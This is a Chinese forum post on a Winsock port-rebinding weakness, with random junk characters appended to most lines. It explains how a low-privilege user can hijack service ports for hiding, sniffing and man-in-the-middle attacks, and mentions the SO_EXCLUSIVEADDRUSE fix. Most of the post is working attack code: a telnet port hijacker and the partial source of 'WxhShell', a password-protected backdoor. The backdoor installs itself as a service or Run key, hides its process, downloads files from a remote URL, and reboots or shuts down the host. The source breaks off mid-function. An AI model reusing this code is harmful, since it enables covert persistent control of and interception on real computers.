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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: x N`T  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pT=2e&  
|U=(b,  
  saddr.sin_family = AF_INET; u7muaSy  
!Z/$}xxj  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]P*!'iYN(  
R`Qp d3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R=35 7^[R  
.3g&9WvN!Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 },6*Y*?{  
v>at/ef  
  这意味着什么?意味着可以进行如下的攻击: 7!- \L7<  
pbdF]>\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =>YvA>izE  
vPsq<l}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I*c;hfu  
VR v02m5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yqBa_XPV8  
1NGyaI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !Mil?^  
0Bu*g LY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 B"[{]GP BY  
;fx1!:;.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ` @>ZGL:  
cUC17z2D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `]hCUaV   
 V IYV92[  
  #include ni0LQuBp  
  #include uWrFunh%  
  #include uTw|Q{f  
  #include    u#VweXyU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Mz}i[|U\  
  int main() 1g81S_T .  
  { )rbc;{.  
  WORD wVersionRequested; fMzYFM'i  
  DWORD ret; *JS"(. '(  
  WSADATA wsaData; kc|>Q7~{  
  BOOL val; X?kPi&ru  
  SOCKADDR_IN saddr; &@"w-M  
  SOCKADDR_IN scaddr; c&A]pLn+x  
  int err; Pzptr%{  
  SOCKET s; &*ZC0V3  
  SOCKET sc; =<>pKQ)[  
  int caddsize; }JH`' &3  
  HANDLE mt; {\luieG  
  DWORD tid;   h^v9|~ZJ'7  
  wVersionRequested = MAKEWORD( 2, 2 ); F*X%N_n  
  err = WSAStartup( wVersionRequested, &wsaData ); w0$R`MOR+  
  if ( err != 0 ) { 5{HtJ?sKc5  
  printf("error!WSAStartup failed!\n"); 9yDFHz w  
  return -1; jvWI_Fto  
  } *seu&  
  saddr.sin_family = AF_INET; 5(KG=EHj_  
   Q{8qm<0g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 L[1d&d!p  
fls#LcI9>6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Gk{W:866  
  saddr.sin_port = htons(23); g"w)@*?K  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |o|gP8  
  { xdCs5ko  
  printf("error!socket failed!\n"); GPMrs)J*!  
  return -1; z?I+u* rF6  
  } BjwMb&a;  
  val = TRUE; P~o@9RV-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {$3j/b  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Cv0&prt  
  { >QA/Mi~R  
  printf("error!setsockopt failed!\n"); j,Pwket  
  return -1; otoBb^Mz  
  } KxGKA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (K<Z=a  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]DGGcUk7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 uSH> $;a  
'n>EEQyp'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) B<(Pd  
  {  dD:  
  ret=GetLastError(); "^Y6ctw  
  printf("error!bind failed!\n"); #aj|vox}  
  return -1; U8EJC .e&O  
  } <g] ou YHZ  
  listen(s,2); -3u@hp_  
  while(1) P= &'wblm?  
  { <>SR4  
  caddsize = sizeof(scaddr); |)m*EME  
  //接受连接请求 =DGn,i9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Cc@=?  
  if(sc!=INVALID_SOCKET) ,LoMt ]H  
  { 83\ o (  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <Z2(qZ^Z  
  if(mt==NULL) 71JM [2  
  { lv=yz\  
  printf("Thread Creat Failed!\n"); BhOXXa{B  
  break; dMey/A/VYt  
  } tZdwy>;  
  } j2< !z;2  
  CloseHandle(mt); JZW gr&O<  
  } S`ax*`  
  closesocket(s); MMd0O X)P  
  WSACleanup(); LDT'FwMjy  
  return 0; DZ%g^DRZX  
  }   ?BWHr(J  
  DWORD WINAPI ClientThread(LPVOID lpParam) P%.`c?olbs  
  { NFrNm'v  
  SOCKET ss = (SOCKET)lpParam; HiQoRk  
  SOCKET sc; "Czz,;0  
  unsigned char buf[4096]; 'LJ %.DJ  
  SOCKADDR_IN saddr; 8#X?k/mzU  
  long num; 7 JxE |G  
  DWORD val; %GVEY  
  DWORD ret; 3~cS}N T  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?2J S&i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   uAW*5 `[  
  saddr.sin_family = AF_INET; @ChN_gd3!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); C1ZFA![  
  saddr.sin_port = htons(23); 1<XiD 3H;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =fKhXd  
  { U@o2gjGN  
  printf("error!socket failed!\n"); <Cf7E  
  return -1; GVjv** U  
  } 7bgnZ]r8t  
  val = 100; 9f@#SB_H  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D)H?=G  
  { ()+jrrK  
  ret = GetLastError(); :J=+;I(UI  
  return -1; JxX jDYrU  
  } #Pb7EL#c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LV}UBao5n  
  { 5@w'_#!)  
  ret = GetLastError(); qP7&LtU  
  return -1; \j,v/C@c-  
  } kr/1Dsr4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y9V;IXhDc  
  { afxj[;p!  
  printf("error!socket connect failed!\n"); "sX [p  
  closesocket(sc); )z ?&" I  
  closesocket(ss); Q9Y9{T  
  return -1; NDs]}5#   
  } NPB,q& Th  
  while(1) 9,iq"dQ  
  { tF#b&za  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E]HND.`*>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 q5?rp|7D  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 wzNt c)~i  
  num = recv(ss,buf,4096,0); Xa?6#  
  if(num>0) hr~qt~Oi  
  send(sc,buf,num,0); VurP1@e&  
  else if(num==0) }\PE {  
  break; giPhW>  
  num = recv(sc,buf,4096,0); )|{1&F1  
  if(num>0) =u:6b} =  
  send(ss,buf,num,0); T>%uRK$  
  else if(num==0) NE=#5?6%g7  
  break; O5G<O(,\  
  } ^B&ahk  
  closesocket(ss); 4t%:O4 3e  
  closesocket(sc); =E"kv!e   
  return 0 ; V:0uy>  
  } =}%#$  
:N+#4rtgUY  
@??c<]9F  
========================================================== UuOLv;v  
)L(d$N=Bd  
下边附上一个代码,,WXhSHELL !F7EAQn{(  
\ ]kb&Qw  
========================================================== [F AOp@7W  
}]39 iK`w  
#include "stdafx.h" >DL-Q\U  
cvs"WX3  
#include <stdio.h> $3]E8t  
#include <string.h> )/+eL RN5G  
#include <windows.h> #8Id:56  
#include <winsock2.h> RBK>Lws6  
#include <winsvc.h> ~*cY&  9  
#include <urlmon.h> FkxhEat8  
@E"+qPp.3  
#pragma comment (lib, "Ws2_32.lib") y_7XYT!w  
#pragma comment (lib, "urlmon.lib") :)J~FVLy  
%)6 :eIS  
#define MAX_USER   100 // 最大客户端连接数 @k:f}-t  
#define BUF_SOCK   200 // sock buffer Z:B Y*#B  
#define KEY_BUFF   255 // 输入 buffer Cs1%g  
RESGI}u  
#define REBOOT     0   // 重启 C5sN[  
#define SHUTDOWN   1   // 关机 o+)LcoP u  
`~aLSpB65  
#define DEF_PORT   5000 // 监听端口 M#lVPXS  
jK C qH$  
#define REG_LEN     16   // 注册表键长度 ?/l}(t$H  
#define SVC_LEN     80   // NT服务名长度 eFXi )tl  
H:{(CY?t  
// 从dll定义API Y%?!AmER  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t6L^ #\'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r/q1&*T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9J;H.:WH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1TxhEXB  
$OFFH[_z  
// wxhshell配置信息 _9O }d  
struct WSCFG { _KkVI7a  
  int ws_port;         // 监听端口 CO%O<_C  
  char ws_passstr[REG_LEN]; // 口令 A Fm*60C  
  int ws_autoins;       // 安装标记, 1=yes 0=no seD+~Y\z  
  char ws_regname[REG_LEN]; // 注册表键名 >A'!T'"~  
  char ws_svcname[REG_LEN]; // 服务名 z5*O@_r+.b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o2e h)rtB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 85@6uBh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P2:Q+j:PX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p_40V%y^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q-dHR i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k2tX$\E  
OB  i!fLa  
}; sImxa`kb  
A[$wxdc  
// default Wxhshell configuration \FY De  
struct WSCFG wscfg={DEF_PORT, fi4/@tV?$L  
    "xuhuanlingzhe", ]zMBZs  
    1, "$"mWF-  
    "Wxhshell", $Q$d\Yvi  
    "Wxhshell", UUEDCtF)  
            "WxhShell Service", ?o DfI  
    "Wrsky Windows CmdShell Service", Xie dgy  
    "Please Input Your Password: ", AA& dZjz  
  1, /G{3p&9  
  "http://www.wrsky.com/wxhshell.exe", y`@4n.Q  
  "Wxhshell.exe" NizJq*V>  
    }; WT {Cjn  
'nDT.i  
// 消息定义模块 |2&mvjk@H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;WAu]C|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z!i'Tbfn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?'#;Y"RT  
char *msg_ws_ext="\n\rExit."; 2?nyPqT3AM  
char *msg_ws_end="\n\rQuit."; IlL   
char *msg_ws_boot="\n\rReboot..."; [3NV #  
char *msg_ws_poff="\n\rShutdown..."; L8K3&[l%  
char *msg_ws_down="\n\rSave to "; fU~y481 A  
9*Twx&  
char *msg_ws_err="\n\rErr!"; 0m!ZJHe  
char *msg_ws_ok="\n\rOK!"; jW$f(qAbm  
Fl>j5[kLZ  
char ExeFile[MAX_PATH]; 1 'pQ,  
int nUser = 0; z}N^`_ *  
HANDLE handles[MAX_USER]; 3K:Xxkk  
int OsIsNt; 1;[ <||K  
VzM@DM]=~  
SERVICE_STATUS       serviceStatus; 00wH#_fm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; so&3A&4cL  
kRa$jD^?  
// 函数声明 I%*Z j,>  
int Install(void); Sh6 NgO  
int Uninstall(void); Y tj>U  
int DownloadFile(char *sURL, SOCKET wsh); |-Klh  
int Boot(int flag); tl^;iE!-  
void HideProc(void); .@Sh,^v  
int GetOsVer(void); FsZEB/c  
int Wxhshell(SOCKET wsl); XxQ2g&USk  
void TalkWithClient(void *cs); .%h_W\M<l  
int CmdShell(SOCKET sock); 8>+eGz|  
int StartFromService(void); ]@]"bF!Dn  
int StartWxhshell(LPSTR lpCmdLine); =n?@My?;  
fb=vO U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yf>,oNIAg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zMg^2{0L  
?UIb!k>  
// 数据结构和表定义 ;G&O"S><]c  
SERVICE_TABLE_ENTRY DispatchTable[] = hrxASAfg6  
{ &G,v*5N8$K  
{wscfg.ws_svcname, NTServiceMain}, -0){C|,6  
{NULL, NULL} ` u)V 9{  
}; _\]UA?0  
R dzIb-  
// 自我安装 N.J:Qn`(  
int Install(void) imuHSxcaV  
{ cW>`Z:6{K  
  char svExeFile[MAX_PATH]; P l ,M>IQ  
  HKEY key; xBd% e-r  
  strcpy(svExeFile,ExeFile); "lMWSCas  
$(hZw  
// 如果是win9x系统,修改注册表设为自启动  16{;24  
if(!OsIsNt) { VJPPHJ[-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jx,s.Z0@7,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &$ 9bC 't6  
  RegCloseKey(key); U_04QwhK7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [#V! XdQ,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4^A'A.0  
  RegCloseKey(key); P|4a}SWU  
  return 0; B W1O1zIh\  
    } }?$Mh)  
  } c73ZEd+j  
} R``qQ;cc  
else { OTm"Iwzu@  
={d\zjI$  
// 如果是NT以上系统,安装为系统服务 6Vo}Uaq4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x6]?}Q>>D  
if (schSCManager!=0) Z%{2/mQ  
{ `8*$$JC  
  SC_HANDLE schService = CreateService Q0A1N[  
  ( e&kg[jU  
  schSCManager, VzNH%  
  wscfg.ws_svcname, P#]jPW  
  wscfg.ws_svcdisp, pwQ."2x  
  SERVICE_ALL_ACCESS, ZGBcy}U(k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v\Gu  
  SERVICE_AUTO_START, CK%W +";  
  SERVICE_ERROR_NORMAL, l K%Hb=  
  svExeFile, ""=Vt]  
  NULL, SJmri]4K  
  NULL, A1@a:P=  
  NULL, W*#/@/5  
  NULL, eAEVpC2  
  NULL >U]. k8a)  
  ); Nsy.!,!c  
  if (schService!=0) :JmNy <  
  { ud1E@4;qf  
  CloseServiceHandle(schService); jA'+>`@  
  CloseServiceHandle(schSCManager); W\.(~-(So  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :nn'>  
  strcat(svExeFile,wscfg.ws_svcname); *&km5@*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y-9F*8<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nDfDpP&  
  RegCloseKey(key); S45jY=)z  
  return 0; 1{qg@xlj  
    } XooAL0w  
  } 92R{V%)G  
  CloseServiceHandle(schSCManager); 9hQ{r 2  
} a7ty&[\  
} {$JIR}4S  
e~1??k.;=  
return 1; %$Uw]a  
} 0n%`Xb0q  
Yi3DoaS;"  
// 自我卸载 6 [IiJhVL  
int Uninstall(void) *Zln\Sx  
{ W/+0gh7`,(  
  HKEY key; !^%b|=[  
>A6lX)  
if(!OsIsNt) { %NuS!v>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { is,_r(S  
  RegDeleteValue(key,wscfg.ws_regname); Yd9y8Tq J  
  RegCloseKey(key); }6\p7n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >:.Bn8-  
  RegDeleteValue(key,wscfg.ws_regname); QAr1U7{(.  
  RegCloseKey(key); d]<tFx>CQW  
  return 0; ><Z2uJZ4x  
  } aV1(DZ83  
} @jfd.? RK!  
} N?aU<-Tn  
else { KQh'5o&  
#'8E%4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qzXch["So  
if (schSCManager!=0) a`}HFHm\2,  
{ \ FA7 +Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XWk^$"  
  if (schService!=0) |zSkQ_?54  
  { ^z_~e@U  
  if(DeleteService(schService)!=0) { PR6{Y]e%  
  CloseServiceHandle(schService); arnu|paw  
  CloseServiceHandle(schSCManager); ,oR}0(^"\<  
  return 0; qT(j%F  
  } n-uoY<;hp  
  CloseServiceHandle(schService); t>^An:xT  
  } /" ,]J  
  CloseServiceHandle(schSCManager); Y.ic=<0H  
} 1^vN?#K t  
} P9gIKOOx#4  
e4t'3So  
return 1; (@]{=q<  
} V5m4dQ>t  
hC,EO&  
// 从指定url下载文件 ">|fB&~A  
int DownloadFile(char *sURL, SOCKET wsh) qWdL|8  
{ $Z #  
  HRESULT hr; /S%{`F=  
char seps[]= "/"; >%t"VpvR  
char *token; ]wZG4A  
char *file; 4~DoqT  
char myURL[MAX_PATH]; oQAD 3a  
char myFILE[MAX_PATH]; ^2=11  
dG\dGSZ\h  
strcpy(myURL,sURL); "??$yMW  
  token=strtok(myURL,seps); G7 b>r  
  while(token!=NULL) a(QYc?u  
  { ZJ1 %  
    file=token; Enyx+]9  
  token=strtok(NULL,seps); ,iV|^]X3$/  
  } a%cCR=s=  
R^4JM,v9x`  
GetCurrentDirectory(MAX_PATH,myFILE); eh`n?C  
strcat(myFILE, "\\"); !/2u O5  
strcat(myFILE, file); -pvF~P?8U  
  send(wsh,myFILE,strlen(myFILE),0); %v5IR  
send(wsh,"...",3,0); u[k0z!p_ c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =f4>vo}@k  
  if(hr==S_OK) `saDeur#X  
return 0; 06X4mu{  
else 8iQ8s;@S&>  
return 1; u 6A!Sw  
#l2KJ7AMK  
} YBF|0A{[Y  
AUBZ7*VO  
// 系统电源模块 dz_~_|  
int Boot(int flag) 3 vr T`  
{ P3Ocfpf Bp  
  HANDLE hToken; ;d5d$Np@m&  
  TOKEN_PRIVILEGES tkp; iW oe  
NpqK+GO  
  if(OsIsNt) { @~1}n/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D[#6jJ Ab  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d^pzMaCI  
    tkp.PrivilegeCount = 1; 0q}k"(9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rW),xfo0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m}`!FaB #  
if(flag==REBOOT) { D6z*J?3^#&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *{TB<^ *  
  return 0; d x52[W  
} NRIp@PIF:"  
else { Lfr>y_i;F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?OD43y1rzd  
  return 0; e:`d)GE  
} <e)u8+(  
  } 9S<g2v  
  else { k z{_H`5.  
if(flag==REBOOT) { A4Sb(X|j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SobOUly5{  
  return 0; 8r{:d i*  
} ]'q"Kw/10  
else { E'KKR1t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F4:giu ht  
  return 0; nA1059B  
} zb_nU7Eg  
} iCX Ki7  
N$I@]PL  
return 1; P[L] S7FTr  
} +5<]s+4T  
jXH?os%  
// win9x进程隐藏模块 f?Am)  
void HideProc(void) CT2L }5L&  
{ (6g;FD:"6  
e09('SON(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P&kjtl68 Y  
  if ( hKernel != NULL ) 7%` \E9t  
  { 8n2MZ9p]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nm}wdel"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rfH'&k  
    FreeLibrary(hKernel); .ey=gI!x0  
  } h+d  \u  
qPH=2k ,H  
return; ~tM+!  
} $>*TO1gb+  
}<=4A\LZ  
// 获取操作系统版本 C]01(UoSZ  
int GetOsVer(void) <$+Cd=71\  
{ IUZ@n0/T  
  OSVERSIONINFO winfo; JlMD_pA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =jEh#  
  GetVersionEx(&winfo); &i{>Li  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ho!dtEs  
  return 1; \2U FJ  
  else FG @ ')N!g  
  return 0; o?]N2e&(  
} i pi^sCYp  
bsosva+  
// 客户端句柄模块 drkY~!a  
int Wxhshell(SOCKET wsl) lKT<aYX  
{ vCe]iB  
  SOCKET wsh; ]38{du  
  struct sockaddr_in client;  HQ0fY  
  DWORD myID; H4Lvw8G  
8p0ZIrD%  
  while(nUser<MAX_USER) *Y\C5L ]  
{ [G#PK5C  
  int nSize=sizeof(client); !M*$p Qi}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1[U`,(C1  
  if(wsh==INVALID_SOCKET) return 1; sCrOdJ6|  
EG; y@\]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oEN^O:9e  
if(handles[nUser]==0) h,!`2_&UQ  
  closesocket(wsh); tQYkH$e`/{  
else YQ _]Jv k  
  nUser++; lk/[xQ/  
  } 0*{ 2^\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Op>l~{{{  
Yn+d!w<3:  
  return 0; aFf(m-  
} u+_6V  
kl+^0i  
// 关闭 socket |J+oz7l?-  
void CloseIt(SOCKET wsh) lD41+x 7  
{ aEvW<jHh  
closesocket(wsh); p?idl`?^3  
nUser--; Mep ct  
ExitThread(0); y c:y}"  
} `"RT(` m  
1/J3 9Y~+  
// 客户端请求句柄 ]mZN18#  
void TalkWithClient(void *cs) j.O+e|kxU  
{ WT_4YM\bz  
S:YQVj  
  SOCKET wsh=(SOCKET)cs; viXt]0  
  char pwd[SVC_LEN]; C>~ms2c  
  char cmd[KEY_BUFF]; 8%Eemk>G{  
char chr[1]; nA4PY]  
int i,j; =6H  
yq<mE(hS?  
  while (nUser < MAX_USER) { ~Kiu " g  
-)E nr6  
if(wscfg.ws_passstr) { NDYm7X*et  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )1iqM]~;B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &|Cd1z#?  
  //ZeroMemory(pwd,KEY_BUFF); Je &O  
      i=0; u?%FD~l:uU  
  while(i<SVC_LEN) { 5e|yW0o  
f3oGB*5>  
  // 设置超时 'MK"*W8QRM  
  fd_set FdRead; kT12  
  struct timeval TimeOut; P,W(9&KM  
  FD_ZERO(&FdRead); 9?38/2kX4  
  FD_SET(wsh,&FdRead); ^_5t5>  
  TimeOut.tv_sec=8; }BN!Xa  
  TimeOut.tv_usec=0; D&-cNxh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @|6#]&v`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c\DMeYrg  
dBb &sA-A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \ Dccf_(Pb  
  pwd=chr[0]; kkU#0p?7  
  if(chr[0]==0xd || chr[0]==0xa) { #w1E3ahaX  
  pwd=0; ,vs#(d6G  
  break; YMr2Dv\y  
  }  `;HZO8  
  i++; FT[of(g^  
    } Ge^(Ag}vE  
lEXI<b'2  
  // 如果是非法用户,关闭 socket ]Il}ymkIZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c0f8*O4i  
} &hu3A)%  
<pIel   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {&uN q^Ch  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #7Jvk_r9Y  
WGA"e   
while(1) { 8;y\Ln?B  
I' 'X\/|  
  ZeroMemory(cmd,KEY_BUFF); ?%ei+  
o7kQ&w   
      // 自动支持客户端 telnet标准   0lLg uBW@  
  j=0; o-+H-  
  while(j<KEY_BUFF) { 4Hq6nT/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~9Cw5rwH<;  
  cmd[j]=chr[0]; WCyjp  
  if(chr[0]==0xa || chr[0]==0xd) { 7;@o]9W  
  cmd[j]=0; -'rb+<v  
  break; *0/%R{+S  
  } +ux170Cd3  
  j++; }e-D&U  
    } 4vyJ<b  
DbrK, 'b%  
  // 下载文件 jhB+ ]  
  if(strstr(cmd,"http://")) { 8d[!"lL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TXbnK"XQ  
  if(DownloadFile(cmd,wsh)) WQBpU?O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :RDQP  
  else ~F13}is  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O2S{*D={  
  } GzjC;+W  
  else { suE#'0K  
sWFw[ Y>  
    switch(cmd[0]) { 3\j3vcuy  
  hx hs>eY  
  // 帮助 PBb'`PV  
  case '?': { Y@MFH>*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p!7(a yu  
    break; PJ2m4ulY  
  } ,lQfsntk'  
  // 安装 +m4?a\U  
  case 'i': { C A$R  
    if(Install()) pykRi#[UrX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YJ{_%z|U  
    else -)[~%n#X+t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kY#sQz}8  
    break; T;#:Y  
    } dF'oZQz  
  // 卸载 ~QU\kZ7Z  
  case 'r': { v<E_n;@9k  
    if(Uninstall()) aj}#~v1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [cT7Iqip  
    else v7mg8'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #R# |hw  
    break; hSXZu?/  
    } w%eEj.MI|i  
  // 显示 wxhshell 所在路径 Rip[  
  case 'p': { Y 016Xg5  
    char svExeFile[MAX_PATH]; L87=*_!B;  
    strcpy(svExeFile,"\n\r"); ]Ab$IK Y  
      strcat(svExeFile,ExeFile); 2fG[q3`  
        send(wsh,svExeFile,strlen(svExeFile),0); )P9&I.a8  
    break; E[tEW0ub  
    } 9On(b|mT  
  // 重启 M][Zu[\*  
  case 'b': { J#Agk^Y 5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1VB{dgr  
    if(Boot(REBOOT)) 6Lz:J:Q)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HfA@tZ5q|U  
    else { tV9K5ON  
    closesocket(wsh); -_fh=}.n+"  
    ExitThread(0); +6\1 d5  
    } nj7\vIR7  
    break; zwdi$rM5  
    } U&L?IT=x  
  // 关机  6adXE  
  case 'd': { [-w+ACV~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )k&!&  
